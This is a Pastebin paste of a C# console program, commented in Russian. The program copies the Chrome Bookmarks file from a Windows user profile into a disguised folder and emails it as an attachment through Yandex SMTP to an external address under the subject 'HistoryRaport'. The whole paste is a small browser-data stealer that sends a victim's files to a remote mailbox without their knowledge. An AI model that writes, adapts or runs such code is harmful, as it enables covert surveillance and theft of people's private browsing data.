Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.IO;
- using System.Net;
- using System.Net.Mail;
- using System.Net.Mime;
- namespace ConsoleApplication1
- {
- class Program
- {
- static void Main(string[] args)
- {
- File.Copy(@"C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks", @"C:\Users\user\Videos\Games for Windows - LIVE Videos\Bookmarks", true);
- //Указываем SMTP сервер и авторизуемся.
- SmtpClient Smtp_Client = new SmtpClient("smtp.yandex.ru", 465);
- Smtp_Client.Credentials = new NetworkCredential("fff@fff.fff", "ggggggg");
- //Выключаем или включаем SSL - (например для гугла должен быть включен).
- Smtp_Client.EnableSsl = true;
- //Приступаем к формированию самого письма
- MailMessage Message = new MailMessage();
- Message.From = new MailAddress("gg@gmail.com");
- Message.To.Add(new MailAddress("krggg3@yandex.ru"));
- Message.Subject = "!!!!!!!HistoryRaport!!!!!!";
- Message.Body = "New History raport arival";
- //Теперь прикрепим файл к сообщению...
- string file = @"C:\Users\user\Videos\Games for Windows - LIVE Videos\Bookmarks";
- Attachment attach = new Attachment(file, MediaTypeNames.Application.Octet);
- // Добавляем информацию для файла
- ContentDisposition disposition = attach.ContentDisposition;
- disposition.CreationDate = System.IO.File.GetCreationTime(file);
- disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
- disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
- Message.Attachments.Add(attach);
- try
- {
- Smtp_Client.Send(Message);//непосредственно само отправление...
- }
- catch (Exception ex)
- {
- Console.WriteLine("Error: " + ex.ToString());
- return;
- Console.ReadKey();
- }
- Console.ReadKey();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement